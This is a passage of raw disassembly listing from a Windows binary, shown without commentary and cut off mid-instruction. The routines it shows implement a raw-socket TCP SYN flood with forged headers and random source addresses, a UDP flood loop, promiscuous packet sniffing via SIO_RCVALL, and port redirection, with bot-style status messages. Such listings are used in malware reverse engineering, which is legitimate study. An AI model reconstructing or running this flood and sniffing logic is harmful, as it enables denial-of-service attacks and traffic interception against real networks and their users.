lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUUsecDms ; "%s: %s:%u (%usec/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+8Fh] push eax mov al, [esi+90h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 28h lea ecx, [esp+34h+var_24] call sub_40142E mov edx, [esi+54h] mov eax, [esi+50h] mov ecx, [esi+58h] push edx push eax push ecx mov ecx, edi mov [esp+40h+var_4], 0 call sub_4014DD push eax call sub_401DCF sub_428260 endp ; --------------------------------------------------------------------------- cdq and edx, 3FFh add esp, 10h add eax, edx mov ecx, edi sar eax, 0Ah cdq idiv dword ptr [esi+50h] mov edx, [esi+58h] push eax push edx call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+20h] push offset aSSDIkbSec ; "%s: %s:%d (%ikb/sec)" push eax call sub_40102D add esp, 18h lea ecx, [esp+10h] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 14h mov dword ptr [esp+30h], 0FFFFFFFFh lea ecx, [esp+10h] call sub_401226 mov ecx, [esp+28h] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4283D0 proc near ; CODE XREF: sub_401BC7j var_95 = byte ptr -95h var_8C = dword ptr -8Ch var_3C = byte ptr -3Ch var_3B = byte ptr -3Bh sub esp, 98h push ebx push ebp push esi push edi mov ecx, 0Eh xor eax, eax lea edi, [esp+0A8h+var_3B] mov [esp+0A8h+var_3C], 0 rep stosd stosw xor esi, esi push 0FFh push esi mov [esp+0B0h+var_8C], esi stosb mov [esp+0B0h+var_95], 0 call sub_4021C6 sub_4283D0 endp ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+24h], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+2Dh], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push esi mov [esp+36h], al call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 20h cmp [esp+0B4h], si mov [esp+17h], al jnz short loc_428461 push 2710h push 3E8h mov byte ptr [esp+1Bh], 1 call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_428461: ; CODE XREF: ___:00428441j push 1 push esi push esi push 0FFh push 3 push 2 mov dword ptr [esp+64h], 1 nop call near ptr 71AB8769h mov edi, eax cmp edi, 0FFFFFFFFh mov [esp+18h], edi jnz short loc_428494 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_428494: ; CODE XREF: ___:00428485j lea eax, [esp+4Ch] push 4 push eax push 2 push esi push edi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_4284B7 loc_4284AA: ; CODE XREF: ___:0042865Fj pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 98h retn ; --------------------------------------------------------------------------- loc_4284B7: ; CODE XREF: ___:004284A8j mov ecx, [esp+0B4h] mov ebp, dword_511C38 push ecx mov word ptr [esp+60h], 2 call ebp ; ntohs mov ebx, [esp+0ACh] push 28h mov [esp+62h], ax mov [esp+64h], ebx mov byte ptr [esp+24h], 45h call ebp ; ntohs push 4000h mov [esp+26h], ax mov word ptr [esp+28h], 1 mov [esp+2Ah], si mov byte ptr [esp+2Ch], 80h mov byte ptr [esp+2Dh], 6 mov [esp+2Eh], si mov [esp+34h], ebx mov byte ptr [esp+44h], 50h mov byte ptr [esp+45h], 2 call ebp ; ntohs mov [esp+42h], ax mov [esp+46h], si mov [esp+3Ch], esi nop call near ptr 27F0C4Bh mov [esp+48h], eax mov al, byte_4D84B9 test al, al jz loc_42870B mov ebx, dword_511AC8 mov byte ptr [esp+58h], 0 mov byte ptr [esp+59h], 6 jmp short loc_428555 ; --------------------------------------------------------------------------- xor esi, esi loc_428555: ; CODE XREF: ___:00428551j mov edi, [esp+1Ch] mov edx, [esp+0B4h] inc edi push edx mov [esp+20h], edi mov [esp+48h], si call ebp ; ntohs push 14h mov [esp+3Ah], ax call ebp ; ntohs mov [esp+5Ah], ax mov eax, [esp+14h] push eax nop call near ptr 71AB2BC0h mov esi, eax mov [esp+2Ch], esi call ebx ; rand cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call ebp ; ntohs mov [esp+34h], ax call ebx ; rand mov edi, eax shl edi, 10h call ebx ; rand or edi, eax push edi call ebp ; ntohs mov edx, [esp+0ACh] and eax, 0FFFFh mov [esp+38h], eax mov eax, [esp+58h] mov [esp+6Ch], esi mov ecx, 5 lea esi, [esp+34h] lea edi, [esp+78h] mov [esp+70h], edx mov [esp+74h], eax rep movsd lea ecx, [esp+6Ch] push 20h push ecx call sub_401A37 mov ecx, 5 lea esi, [esp+28h] lea edi, [esp+74h] lea edx, [esp+74h] rep movsd mov ecx, 5 lea esi, [esp+3Ch] lea edi, [esp+88h] mov [esp+4Ch], ax push 28h push edx rep movsd mov dword ptr [esp+0A4h], 0 call sub_401A37 mov edx, [esp+28h] add esp, 10h mov [esp+2Ah], ax mov ecx, 5 lea esi, [esp+20h] lea edi, [esp+6Ch] lea eax, [esp+5Ch] push 10h rep movsd push eax push 0 lea ecx, [esp+78h] push 28h push ecx push edx nop call near ptr 71AB2C69h cmp eax, 0FFFFFFFFh jz loc_4284AA call near ptr 27F0C4Bh nop mov edx, [esp+48h] mov ecx, eax sub ecx, edx mov eax, 10624DD3h mul ecx mov eax, [esp+0B8h] shr edx, 6 cmp edx, eax ja short loc_428707 mov al, [esp+13h] test al, al jz short loc_4286A9 push 2710h push 3E8h call sub_4021C6 ; --------------------------------------------------------------------------- add esp, 8 mov [esp+0B4h], eax loc_4286A9: ; CODE XREF: ___:0042868Ej push 0FFh push 0 call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+24h], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+2Dh], al call sub_4021C6 ; --------------------------------------------------------------------------- push 0FFh push 0 mov [esp+36h], al call sub_4021C6 ; --------------------------------------------------------------------------- db 8Bh, 94h, 24h dd 0DCh, 8820C483h, 52172444h, 427C70E8h, 0B9A09002h, 84004D84h dd 4C850FC0h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_428707: ; CODE XREF: ___:00428686j mov edi, [esp+18h] loc_42870B: ; CODE XREF: ___:0042853Bj push edi nop call near ptr 71AB9639h mov eax, [esp+1Ch] pop edi pop esi pop ebp lea eax, [eax+eax*4+5] pop ebx shl eax, 2 add esp, 98h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 0E0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_428810 proc near ; CODE XREF: sub_401DCFj arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h mov eax, [esp+arg_0] push esi push eax call sub_40188E mov esi, eax call near ptr 77C371D3h nop and eax, 800001FFh jns short loc_428831 dec eax or eax, 0FFFFFE00h inc eax loc_428831: ; CODE XREF: sub_428810+18j mov ecx, [esp+4+arg_10] mov edx, [esp+4+arg_C] push ecx mov ecx, [esp+8+arg_8] lea eax, [eax+esi+100h] push edx push ecx push eax push esi call sub_401BC7 sub_428810 endp ; --------------------------------------------------------------------------- add esp, 18h pop esi retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428880 proc near ; CODE XREF: sub_40178Fj var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428880 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401F9B push offset aUdp ; "udp" lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F11C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_428880 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4288F0 proc near ; CODE XREF: ___:004014F6j sub_40224Dj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401159 test [esp+4+arg_0], 1 jz short loc_428908 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_428908: ; CODE XREF: sub_4288F0+Dj mov eax, esi pop esi retn 4 sub_4288F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_428920 proc near ; CODE XREF: sub_401159j jmp sub_4014CE sub_428920 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428940 proc near ; CODE XREF: sub_401A14j var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_428940 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push ebx push ebp push esi mov esi, ecx push edi mov eax, [esi+54h] mov ecx, [esi+60h] mov edx, [esi+5Ch] push eax mov eax, [esi+58h] lea edi, [esi+3Bh] push ecx push edx push eax mov ecx, edi lea ebx, [esi+11h] lea ebp, [esi+26h] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax push offset aSSUUtUbDms ; "%s: %s:%u (%ut/%ub/%dms)" mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 2Ch lea ecx, [esp+34h+var_24] call sub_40142E mov eax, [esi+58h] mov ecx, [esi+54h] mov edx, [esi+60h] push eax mov eax, [esi+5Ch] push ecx push edx push eax mov ecx, edi mov [esp+44h+var_4], 0 call sub_4014DD push eax call sub_40173A add esp, 14h test eax, eax jz short loc_428A0E mov ecx, [esi+5Ch] mov edx, [esi+58h] push ecx push edx mov ecx, edi call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax lea eax, [esp+44h+var_24] push offset aSSDDone ; "%s: %s:%d done" push eax call sub_40102D add esp, 18h loc_428A0E: ; CODE XREF: sub_428940+A2j lea ecx, [esp+34h+var_24] call sub_4017EE push eax mov ecx, ebp call sub_4014DD mov cl, [esi+90h] mov dl, [esi+8Fh] push eax push ecx push edx push offset byte_4D8075 call sub_401857 add esp, 14h lea ecx, [esp+34h+var_24] mov [esp+34h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+34h+var_C] pop edi pop esi pop ebp pop ebx mov large fs:0, ecx add esp, 24h retn sub_428940 endp ; --------------------------------------------------------------------------- db 90h db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428AB0 proc near ; CODE XREF: sub_40173Aj var_36 = word ptr -36h var_18 = byte ptr -18h var_16 = word ptr -16h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_FFBC = dword ptr 0FFC0h arg_FFCC = dword ptr 0FFD0h arg_FFDC = dword ptr 0FFE0h arg_FFE0 = dword ptr 0FFE4h arg_FFE4 = dword ptr 0FFE8h arg_FFE8 = dword ptr 0FFECh arg_FFEC = dword ptr 0FFF0h mov eax, 0FFF0h call sub_437B30 push esi push 11h push 2 push 2 nop call near ptr 71AB3B91h mov esi, [esp+10h+arg_FFE4] mov [esp+10h+arg_0], eax xor eax, eax push esi mov [esp+14h+var_C], eax mov word ptr [esp+14h+var_C], 2 mov [esp+14h+var_8], eax mov [esp+14h+var_4], eax mov [esp+14h], eax nop call near ptr 71AB2BF4h cmp eax, 0FFFFFFFFh jnz short loc_428B11 push esi nop call near ptr 71AB4FD4h test eax, eax jnz short loc_428B0A pop esi add esp, 0FFF0h retn ; --------------------------------------------------------------------------- loc_428B0A: ; CODE XREF: sub_428AB0+50j mov ecx, [eax+0Ch] mov edx, [ecx] mov eax, [edx] loc_428B11: ; CODE XREF: sub_428AB0+45j mov esi, [esp+18h+arg_FFEC] push ebx mov ebx, dword_511AC8 push ebp test esi, esi mov [esp+20h+var_10], eax push edi jnz short loc_428B4D call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+28h+var_16], ax mov [esp+28h+arg_FFE8], 1 jmp short loc_428B7E ; --------------------------------------------------------------------------- loc_428B4D: ; CODE XREF: sub_428AB0+77j push esi call near ptr 71AB2B66h nop cmp esi, 1 mov [esp+28h+var_16], ax jge short loc_428B6B mov [esp+28h+arg_FFE8], 1 jmp short loc_428B7E ; --------------------------------------------------------------------------- loc_428B6B: ; CODE XREF: sub_428AB0+ACj cmp esi, 0FFFFh jle short loc_428B7E mov [esp+28h+arg_FFE8], 0FFFFh loc_428B7E: ; CODE XREF: sub_428AB0+9Bj ; sub_428AB0+B9j ... mov eax, [esp+28h+arg_FFE4] test eax, eax jnz short loc_428B94 mov [esp+28h+arg_FFE4], 1 loc_428B94: ; CODE XREF: sub_428AB0+D7j mov ecx, [esp+28h+arg_FFDC] mov eax, 66666667h imul ecx mov edi, [esp+28h+arg_FFE0] xor esi, esi sar edx, 2 mov eax, edx shr eax, 1Fh add edx, eax test edi, edi mov ebp, edx jle short loc_428BCE loc_428BBB: ; CODE XREF: sub_428AB0+11Cj call ebx ; rand cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, edi mov byte ptr [esp+esi+28h+var_8+3], dl jl short loc_428BBB loc_428BCE: ; CODE XREF: sub_428AB0+109j mov edx, ebp dec ebp test edx, edx mov [esp+28h+arg_FFDC], ebp jle loc_428C60 mov ebp, dword_511C68 loc_428BE6: ; CODE XREF: sub_428AB0+1AEj mov al, byte_4D84B9 test al, al jz short loc_428C60 mov esi, 0Bh loc_428BF4: ; CODE XREF: sub_428AB0+177j lea eax, [esp+28h+var_18] push 10h push eax push 0 call ebx ; rand cdq mov ecx, 0Ah idiv ecx mov eax, edi lea ecx, [esp+34h+var_4] sub eax, edx mov edx, [esp+34h+var_8] push eax push ecx push edx call ebp ; sendto mov eax, [esp+40h+arg_FFCC] push eax nop call near ptr 2850369h dec esi jnz short loc_428BF4 mov eax, [esp+44h+arg_FFCC] test eax, eax jnz short loc_428C4B call ebx ; rand cdq mov ecx, 0FFDCh idiv ecx inc edx push edx nop call near ptr 71AB2B66h mov [esp+48h+var_36], ax loc_428C4B: ; CODE XREF: sub_428AB0+182j mov eax, [esp+48h+arg_FFBC] mov edx, eax dec eax test edx, edx mov [esp+48h+arg_FFBC], eax jg short loc_428BE6 loc_428C60: ; CODE XREF: sub_428AB0+12Aj ; sub_428AB0+13Dj pop edi pop ebp pop ebx mov eax, 1 pop esi add esp, 0FFF0h retn sub_428AB0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428CE0 proc near ; CODE XREF: sub_40209Aj var_10 = word ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx mov ebx, [esp+14h+arg_4] push esi push edi mov edi, [esp+1Ch+arg_0] lea eax, [ebx-14h] push eax lea ecx, [edi+28h] push ecx call sub_401A37 mov edx, [edi+10h] add esp, 8 mov [edi+0Ah], ax mov [esp+1Ch+var_10], 2 push 1 push 0 push 0 push 0FFh push 3 push 2 mov [esp+34h+var_C], edx mov [esp+34h+arg_4], 1 nop call near ptr 71AB8769h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_428D3D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_428D3D: ; CODE XREF: sub_428CE0+52j lea eax, [esp+1Ch+arg_4] push 4 push eax push 2 push 0 push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jnz short loc_428D5D pop edi pop esi or eax, eax pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_428D5D: ; CODE XREF: sub_428CE0+72j lea ecx, [esp+1Ch+var_10] push 10h push ecx push 0 push ebx push edi push esi nop call near ptr 71AB2C69h push esi mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebx add esp, 10h retn sub_428CE0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428DC0 proc near ; CODE XREF: sub_401DB1j var_68 = dword ptr -68h var_64 = dword ptr -64h var_28 = dword ptr -28h var_18 = byte ptr -18h var_14 = byte ptr -14h var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_10 = word ptr 14h arg_12 = word ptr 16h arg_14 = dword ptr 18h arg_1C = byte ptr 20h arg_24 = byte ptr 28h arg_25 = byte ptr 29h arg_B8 = byte ptr 0BCh arg_C1 = byte ptr 0C5h arg_C4 = dword ptr 0C8h arg_C8 = dword ptr 0CCh arg_100C8 = dword ptr 100CCh arg_100D8 = dword ptr 100DCh arg_10128 = dword ptr 1012Ch arg_1012C = dword ptr 10130h arg_10130 = dword ptr 10134h mov eax, 10128h call sub_437B30 push ebx push ebp push esi push edi mov ecx, 3Fh xor eax, eax lea edi, [esp+10h+arg_25] mov [esp+10h+arg_24], 0 rep stosd stosw mov eax, [esp+10h+arg_10128] push eax call sub_40188E mov ecx, [esp+14h+arg_1012C] mov [esp+14h+arg_4], eax push ecx call sub_40188E mov edi, [esp+18h+arg_10130] add esp, 8 xor ebx, ebx mov [esp+10h+arg_0], eax mov [esp+10h+arg_10], 2 mov [esp+10h+arg_12], bx mov [esp+10h+arg_14], ebx mov esi, offset byte_448F30 mov eax, edi loc_428E27: ; CODE XREF: sub_428DC0+85j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_428E4B test cl, cl jz short loc_428E47 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_428E4B add eax, 2 add esi, 2 test cl, cl jnz short loc_428E27 loc_428E47: ; CODE XREF: sub_428DC0+71j xor eax, eax jmp short loc_428E50 ; --------------------------------------------------------------------------- loc_428E4B: ; CODE XREF: sub_428DC0+6Dj ; sub_428DC0+7Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_428E50: ; CODE XREF: sub_428DC0+89j cmp eax, ebx jnz short loc_428EA3 mov ebp, dword_4D80C7 cmp ebp, ebx mov [esp+10h], ebp jz short loc_428E67 cmp ebp, 0FFFFFFFFh jnz short loc_428EAE loc_428E67: ; CODE XREF: sub_428DC0+A0j lea eax, [esp+10h+arg_24] push 0FFh push eax call near ptr 71AB50C8h nop lea ecx, [esp+18h+arg_1C] push ecx nop call near ptr 71AB4FD4h movsx ecx, word ptr [eax+0Ah] mov edx, [eax+0Ch] mov eax, ecx lea edi, [esp+1Ch+var_C] mov esi, [edx] shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb mov ebp, [esp+1Ch+var_C] jmp short loc_428EAE ; --------------------------------------------------------------------------- loc_428EA3: ; CODE XREF: sub_428DC0+92j push edi call sub_40188E add esp, 4 mov ebp, eax loc_428EAE: ; CODE XREF: sub_428DC0+A5j ; sub_428DC0+E1j cmp ebp, ebx jz short loc_428EB7 cmp ebp, 0FFFFFFFFh jnz short loc_428EBD loc_428EB7: ; CODE XREF: sub_428DC0+F0j mov ebp, dword_4D80C7 loc_428EBD: ; CODE XREF: sub_428DC0+F5j mov edi, 1 mov [esp+10h+arg_14], ebp push edi push ebx push ebx push ebx push 3 push 2 mov [esp+28h+arg_8], edi call near ptr 71AB8769h nop mov esi, eax cmp esi, 0FFFFFFFFh jz loc_428FFD lea ecx, [esp+28h+var_C] push 4 push ecx push 2 push ebx push esi nop call near ptr 71AB3EA1h cmp eax, 0FFFFFFFFh jz loc_428FFD lea edx, [esp+3Ch+var_18] push 10h push edx push esi nop call near ptr 71AB3E00h cmp eax, 0FFFFFFFFh jz loc_428FFD push ebx lea eax, [esp+4Ch+var_14] push ebx push eax push ebx push ebx lea ecx, [esp+5Ch+var_28] push 4 push ecx push 98000001h push esi mov [esp+6Ch+var_28], edi nop call near ptr 71AB4489h cmp eax, 0FFFFFFFFh jz loc_428FFD mov edx, [esp+6Ch+arg_100D8] cmp byte ptr [edx], 0 jz loc_428FE3 mov ebx, dword_511CA4 loc_428F53: ; CODE XREF: sub_428DC0+21Dj mov ecx, 3FFFh xor eax, eax lea edi, [esp+6Ch+arg_C8] push 0 rep stosd stosw stosb lea eax, [esp+70h+arg_C8] push 0FFFFh push eax push esi call ebx ; recv cmp [esp+7Ch+arg_C1], 2Fh jnz short loc_428FD3 mov ecx, [esp+7Ch+arg_C4] mov edx, [esp+7Ch+var_64] cmp ecx, edx jnz short loc_428FAE mov ecx, [esp+7Ch+var_68] lea edx, [esp+7Ch+arg_B8] push eax mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], ecx push edx jmp short loc_428FCB ; --------------------------------------------------------------------------- loc_428FAE: ; CODE XREF: sub_428DC0+1CFj cmp ecx, [esp+7Ch+var_68] jnz short loc_428FD3 push eax lea eax, [esp+80h+arg_B8] mov [esp+80h+arg_C4], ebp mov [esp+80h+arg_C8], edx push eax loc_428FCB: ; CODE XREF: sub_428DC0+1ECj call sub_40209A add esp, 8 loc_428FD3: ; CODE XREF: sub_428DC0+1C0j ; sub_428DC0+1F2j mov ecx, [esp+7Ch+arg_100C8] cmp byte ptr [ecx], 0 jnz loc_428F53 loc_428FE3: ; CODE XREF: sub_428DC0+187j mov edx, dword_511A90 add edx, 20h push edx nop call near ptr 77C3EEF6h add esp, 4 push esi call near ptr 71AB9639h nop loc_428FFD: ; CODE XREF: sub_428DC0+11Dj ; sub_428DC0+137j ... pop edi pop esi pop ebp pop ebx add esp, 10128h retn sub_428DC0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4290B0 proc near ; CODE XREF: sub_401898j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4290B0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401FA0 push offset off_446EF4 lea ecx, [esi+11h] mov [esp+18h+var_4], 0 mov dword ptr [esi], offset off_43F12C call sub_4015E1 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4290B0 endp ; --------------------------------------------------------------------------- db 90h db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429120 proc near ; CODE XREF: sub_401FA0j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429120 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401E88 lea ecx, [esi+11h] mov [esp+14h+var_4], 0 call sub_40142E lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_40142E lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_40142E lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_40142E lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_40142E lea ecx, [esi+82h] mov byte ptr [esp+14h+var_4], 5 call sub_40142E mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43F13C mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_429120 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4291E0 proc near ; CODE XREF: sub_4017A8j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4291E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43F13C lea ecx, [esi+82h] mov [esp+14h+var_4], 5 call sub_401226 lea ecx, [esi+6Dh] mov byte ptr [esp+14h+var_4], 4 call sub_401226 lea ecx, [esi+58h] mov byte ptr [esp+14h+var_4], 3 call sub_401226 lea ecx, [esi+43h] mov byte ptr [esp+14h+var_4], 2 call sub_401226 lea ecx, [esi+26h] mov byte ptr [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+11h] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_40204F mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_4291E0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_4292B0: ; CODE XREF: ___:00401A23j ; ___:loc_402086j push esi mov esi, ecx call sub_4017A8 test byte ptr [esp+8], 1 jz short loc_4292C8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4292C8: ; CODE XREF: ___:004292BDj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4292E0 proc near ; CODE XREF: ___:00401096j sub_401C3Fj arg_0 = byte ptr 4 push esi mov esi, ecx call sub_4015FF test [esp+4+arg_0], 1 jz short loc_4292F8 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_4292F8: ; CODE XREF: sub_4292E0+Dj mov eax, esi pop esi retn 4 sub_4292E0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_429310 proc near ; CODE XREF: sub_4015FFj jmp sub_4017A8 sub_429310 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429330 proc near ; CODE XREF: sub_4015B9j push ebx push ebp push esi mov esi, ecx push edi lea edi, [esi+82h] lea ebx, [esi+58h] mov ecx, edi lea ebp, [esi+6Dh] call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSStartedRedire ; "[%s] Started redirect from \"%s\" to \"%s\""... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D8075 call sub_401857 mov edx, [esi+99h] add esp, 24h add edx, 11Ch mov ecx, edi push edx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax call sub_401DB1 add esp, 10h mov ecx, edi call sub_4017EE push eax mov ecx, ebx call sub_4017EE push eax mov ecx, ebp call sub_4017EE push eax lea ecx, [esi+11h] call sub_4017EE push eax push offset aSFinishedRedir ; "[%s] Finished redirect from \"%s\" to \"%s"... lea ecx, [esi+26h] call sub_4014DD mov cl, [esi+97h] push eax mov al, [esi+98h] push eax push ecx push offset byte_4D8075 call sub_401857 add esp, 24h pop edi pop esi pop ebp pop ebx retn sub_429330 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429450 proc near ; CODE XREF: sub_401893j var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_429450 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push esi mov esi, ecx mov [esp+2Ch+var_28], esi call sub_401FA0 lea ecx, [esi+0A1h] mov [esp+2Ch+var_4], 0 call sub_40142E push 0 push 2Ah push 2Eh push 2Eh lea eax, [esp+3Ch+var_24] push 22h push eax mov byte ptr [esp+44h+var_4], 1 mov dword ptr [esi], offset off_43F14C call sub_4019C4 add esp, 18h mov ecx, eax mov byte ptr [esp+2Ch+var_4], 2 call sub_4017EE push eax lea ecx, [esi+11h] call sub_4015E1 lea ecx, [esp+2Ch+var_24] mov byte ptr [esp+2Ch+var_4], 1 call sub_401226 mov ecx, [esp+2Ch+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 28h retn sub_429450 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429510 proc near ; CODE XREF: ___:00401E2Ej sub_4021D5j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401BE5 test [esp+4+arg_0], 1 jz short loc_429528 push esi call sub_437AD2 ; --------------------------------------------------------------------------- add esp, 4 loc_429528: ; CODE XREF: sub_429510+Dj mov eax, esi pop esi retn 4 sub_429510 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429540 proc near ; CODE XREF: sub_401BE5j push esi mov esi, ecx push edi mov edi, dword_511C9C mov eax, [esi+0BFh] mov dword ptr [esi], offset off_43F14C cmp eax, 0FFFFFFFFh jz short loc_42955E push eax call edi ; closesocket loc_42955E: ; CODE XREF: sub_429540+19j mov eax, [esi+0BBh] cmp eax, 0FFFFFFFFh jz short loc_42956C push eax call edi ; closesocket loc_42956C: ; CODE XREF: sub_429540+27j lea ecx, [esi+0A1h] call sub_401226 mov ecx, esi call sub_4017A8 pop edi pop esi retn sub_429540 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4295B0: ; CODE XREF: ___:loc_401D3Ej push 0FFFFFFFFh mov eax, large fs:0 push offset loc_43CDB2 push eax mov 